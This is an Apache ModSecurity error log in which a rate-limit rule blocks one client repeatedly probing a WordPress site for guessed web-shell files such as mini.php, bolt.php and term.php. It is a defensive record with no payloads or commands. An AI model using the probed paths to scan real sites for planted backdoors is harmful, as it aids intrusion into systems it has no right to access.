[Sun Apr 19 20:53:39.475996 2026] [:error] [pid 15764:tid 15828] [client 20.166.83.47:11232] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aeTQU2LL_sqdSHoVp-QHXAAAAkI"]
[Sun Apr 19 20:53:40.321747 2026] [:error] [pid 47773:tid 47818] [client 20.166.83.47:11148] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aeTQVOiBHdnCJDuPq9A6XQAAAEI"]
[Sun Apr 19 20:53:41.025888 2026] [:error] [pid 47773:tid 47833] [client 20.166.83.47:11177] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aeTQVeiBHdnCJDuPq9A6YgAAAFE"]
[Sun Apr 19 20:53:42.006319 2026] [:error] [pid 15764:tid 15837] [client 20.166.83.47:11226] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aeTQVmLL_sqdSHoVp-QHZQAAAks"]
[Sun Apr 19 20:53:42.937820 2026] [:error] [pid 15763:tid 15807] [client 20.166.83.47:11175] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aeTQVrMXv1Y1THOoxaDv0wAAAgs"]
[Sun Apr 19 20:53:44.187465 2026] [:error] [pid 15760:tid 15778] [client 20.166.83.47:11152] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "aeTQWPSdD_XHQMJ_ISsaQQAAAco"]
[Sun Apr 19 20:53:44.968912 2026] [:error] [pid 15763:tid 15817] [client 20.166.83.47:11144] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "aeTQWLMXv1Y1THOoxaDv1wAAAhU"]
[Sun Apr 19 20:53:45.902229 2026] [:error] [pid 15760:tid 15772] [client 20.166.83.47:11072] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "aeTQWfSdD_XHQMJ_ISsaQwAAAcQ"]
[Sun Apr 19 20:53:47.180225 2026] [:error] [pid 15760:tid 15777] [client 20.166.83.47:11236] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "aeTQW_SdD_XHQMJ_ISsaUQAAAck"]
[Sun Apr 19 20:53:48.349184 2026] [:error] [pid 47886:tid 47902] [client 20.166.83.47:11252] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aeTQXESe8yiyuPrD7yNyXAAAAM4"]
[Sun Apr 19 20:53:49.595655 2026] [:error] [pid 47775:tid 47849] [client 20.166.83.47:11240] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aeTQXbmztjlk9tsmoewPJAAAAIY"]
[Sun Apr 19 20:53:50.728540 2026] [:error] [pid 47772:tid 47796] [client 20.166.83.47:11237] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aeTQXoc0L16cb4smAz-x_AAAAAc"]
[Sun Apr 19 20:53:51.802494 2026] [:error] [pid 47772:tid 47809] [client 20.166.83.47:11147] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aeTQX4c0L16cb4smAz-x_wAAABQ"]
[Sun Apr 19 20:53:52.483289 2026] [:error] [pid 15760:tid 15768] [client 20.166.83.47:11205] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aeTQYPSdD_XHQMJ_ISsaWQAAAcA"]
[Sun Apr 19 20:53:53.364602 2026] [:error] [pid 15764:tid 15837] [client 20.166.83.47:11161] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aeTQYWLL_sqdSHoVp-QHegAAAks"]
[Sun Apr 19 20:54:13.292310 2026] [:error] [pid 47886:tid 47912] [client 20.166.83.47:11145] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "aeTQdUSe8yiyuPrD7yNyfgAAANg"]
[Sun Apr 19 20:54:14.301628 2026] [:error] [pid 15760:tid 15777] [client 20.166.83.47:11154] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "aeTQdvSdD_XHQMJ_ISsangAAAck"]
[Sun Apr 19 20:54:16.015251 2026] [:error] [pid 47886:tid 47909] [client 20.166.83.47:11219] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "aeTQeESe8yiyuPrD7yNyfwAAANU"]
[Sun Apr 19 20:54:17.928631 2026] [:error] [pid 47775:tid 47844] [client 20.166.83.47:11094] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "aeTQebmztjlk9tsmoewPQgAAAIE"]
[Sun Apr 19 20:54:19.085546 2026] [:error] [pid 15763:tid 15817] [client 20.166.83.47:11099] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "aeTQe7MXv1Y1THOoxaDv6wAAAhU"]
[Sun Apr 19 20:54:19.967189 2026] [:error] [pid 15764:tid 15836] [client 20.166.83.47:11263] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "aeTQe2LL_sqdSHoVp-QHwQAAAko"]
[Sun Apr 19 20:54:21.327866 2026] [:error] [pid 47772:tid 47790] [client 20.166.83.47:11151] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "aeTQfYc0L16cb4smAz-yQgAAAAE"]
[Sun Apr 19 20:54:23.385640 2026] [:error] [pid 15760:tid 15785] [client 20.166.83.47:11243] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "aeTQf_SdD_XHQMJ_ISsaygAAAdE"]
[Sun Apr 19 20:54:24.789619 2026] [:error] [pid 15763:tid 15819] [client 20.166.83.47:11210] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aeTQgLMXv1Y1THOoxaDv7wAAAhc"]
[Sun Apr 19 20:54:25.577727 2026] [:error] [pid 15765:tid 15853] [client 20.166.83.47:11081] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aeTQgfRqinw-W5EwQ773BQAAAoE"]
[Sun Apr 19 20:54:26.915616 2026] [:error] [pid 47772:tid 47811] [client 20.166.83.47:11171] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aeTQgoc0L16cb4smAz-yTgAAABY"]
[Sun Apr 19 20:54:28.150183 2026] [:error] [pid 47772:tid 47800] [client 20.166.83.47:11250] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aeTQhIc0L16cb4smAz-yVAAAAAs"]
[Sun Apr 19 20:54:29.574650 2026] [:error] [pid 15694:tid 15734] [client 20.166.83.47:11258] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "aeTQhbimB-jol1fwqAoJlAAAAYg"]
[Sun Apr 19 20:54:30.624842 2026] [:error] [pid 47773:tid 47823] [client 20.166.83.47:11162] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "aeTQhuiBHdnCJDuPq9A6oAAAAEc"]
[Sun Apr 19 20:54:32.116304 2026] [:error] [pid 15693:tid 15701] [client 20.166.83.47:11256] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "aeTQiMNMD-ccazQlTslYCAAAAUU"]
[Sun Apr 19 20:54:33.064066 2026] [:error] [pid 15693:tid 15716] [client 20.166.83.47:11080] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "aeTQicNMD-ccazQlTslYCQAAAVQ"]
[Sun Apr 19 20:54:34.121901 2026] [:error] [pid 47773:tid 47828] [client 20.166.83.47:11224] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTQiuiBHdnCJDuPq9A6owAAAEw"]
[Sun Apr 19 20:54:36.215377 2026] [:error] [pid 47773:tid 47840] [client 20.166.83.47:11096] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTQjOiBHdnCJDuPq9A6rAAAAFg"]
[Sun Apr 19 20:54:37.800191 2026] [:error] [pid 47886:tid 47902] [client 20.166.83.47:11208] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTQjUSe8yiyuPrD7yNylAAAAM4"]
[Sun Apr 19 20:54:38.495960 2026] [:error] [pid 47886:tid 47904] [client 20.166.83.47:11170] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTQjkSe8yiyuPrD7yNylgAAANA"]
[Sun Apr 19 20:54:39.501221 2026] [:error] [pid 15765:tid 15861] [client 20.166.83.47:11209] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aeTQj_Rqinw-W5EwQ773DAAAAog"]
[Sun Apr 19 20:54:40.430209 2026] [:error] [pid 15763:tid 15804] [client 20.166.83.47:11165] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aeTQkLMXv1Y1THOoxaDv-AAAAgg"]
[Sun Apr 19 20:54:41.293963 2026] [:error] [pid 47775:tid 47859] [client 20.166.83.47:11196] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aeTQkbmztjlk9tsmoewPWAAAAJA"]
[Sun Apr 19 20:54:42.525299 2026] [:error] [pid 15760:tid 15770] [client 20.166.83.47:11203] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aeTQkvSdD_XHQMJ_ISsa9QAAAcI"]
[Sun Apr 19 20:54:43.376332 2026] [:error] [pid 15760:tid 15788] [client 20.166.83.47:11199] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aeTQk_SdD_XHQMJ_ISsa9wAAAdQ"]
[Sun Apr 19 20:54:43.612393 2026] [:error] [pid 47775:tid 47859] [client 20.166.83.47:11196] [client 20.166.83.47] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "45.131.195.81_e068bf7d9aa05bbe9086032a7bbf66e40ec17e71"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aeTQkbmztjlk9tsmoewPWAAAAJA"]
[Sun Apr 19 20:54:44.111328 2026] [:error] [pid 15760:tid 15775] [client 20.166.83.47:11254] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aeTQlPSdD_XHQMJ_ISsa-gAAAcc"]
[Sun Apr 19 20:54:44.720787 2026] [:error] [pid 47886:tid 47894] [client 20.166.83.47:11174] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aeTQlESe8yiyuPrD7yNyogAAAMY"]
[Sun Apr 19 20:54:45.881280 2026] [:error] [pid 47886:tid 47911] [client 20.166.83.47:11223] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aeTQlUSe8yiyuPrD7yNypAAAANc"]
[Sun Apr 19 20:54:46.794359 2026] [:error] [pid 15763:tid 15813] [client 20.166.83.47:11136] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/900.php"] [unique_id "aeTQlrMXv1Y1THOoxaDwEwAAAhE"]
[Sun Apr 19 20:54:47.500287 2026] [:error] [pid 47773:tid 47832] [client 20.166.83.47:11245] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/900.php"] [unique_id "aeTQl-iBHdnCJDuPq9A6yQAAAFA"]
[Sun Apr 19 20:54:48.331766 2026] [:error] [pid 47773:tid 47839] [client 20.166.83.47:11253] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/900.php"] [unique_id "aeTQmOiBHdnCJDuPq9A6ywAAAFc"]
[Sun Apr 19 20:54:49.256925 2026] [:error] [pid 15760:tid 15782] [client 20.166.83.47:11183] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/900.php"] [unique_id "aeTQmfSdD_XHQMJ_ISsbBQAAAc4"]
[Sun Apr 19 20:54:50.305519 2026] [:error] [pid 47886:tid 47908] [client 20.166.83.47:11231] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeTQmkSe8yiyuPrD7yNyqQAAANQ"]
[Sun Apr 19 20:54:51.158884 2026] [:error] [pid 15760:tid 15792] [client 20.166.83.47:11189] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeTQm_SdD_XHQMJ_ISsbDwAAAdg"]
[Sun Apr 19 20:54:51.897340 2026] [:error] [pid 47775:tid 47865] [client 20.166.83.47:11260] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeTQm7mztjlk9tsmoewPYgAAAJY"]
[Sun Apr 19 20:54:57.050796 2026] [:error] [pid 47886:tid 47909] [client 20.166.83.47:11193] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeTQoUSe8yiyuPrD7yNysgAAANU"]
[Sun Apr 19 20:54:57.681604 2026] [:error] [pid 15765:tid 15858] [client 20.166.83.47:11160] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "aeTQofRqinw-W5EwQ773HAAAAoU"]
[Sun Apr 19 20:54:58.720919 2026] [:error] [pid 47772:tid 47789] [client 20.166.83.47:11157] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "aeTQooc0L16cb4smAz-yaQAAAAA"]
[Sun Apr 19 20:54:59.928017 2026] [:error] [pid 15760:tid 15780] [client 20.166.83.47:11217] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "aeTQo_SdD_XHQMJ_ISsbKQAAAcw"]
[Sun Apr 19 20:55:00.746852 2026] [:error] [pid 15760:tid 15782] [client 20.166.83.47:11184] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "aeTQpPSdD_XHQMJ_ISsbLgAAAc4"]
[Sun Apr 19 20:55:01.554437 2026] [:error] [pid 15760:tid 15775] [client 20.166.83.47:11092] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aeTQpfSdD_XHQMJ_ISsbNwAAAcc"]
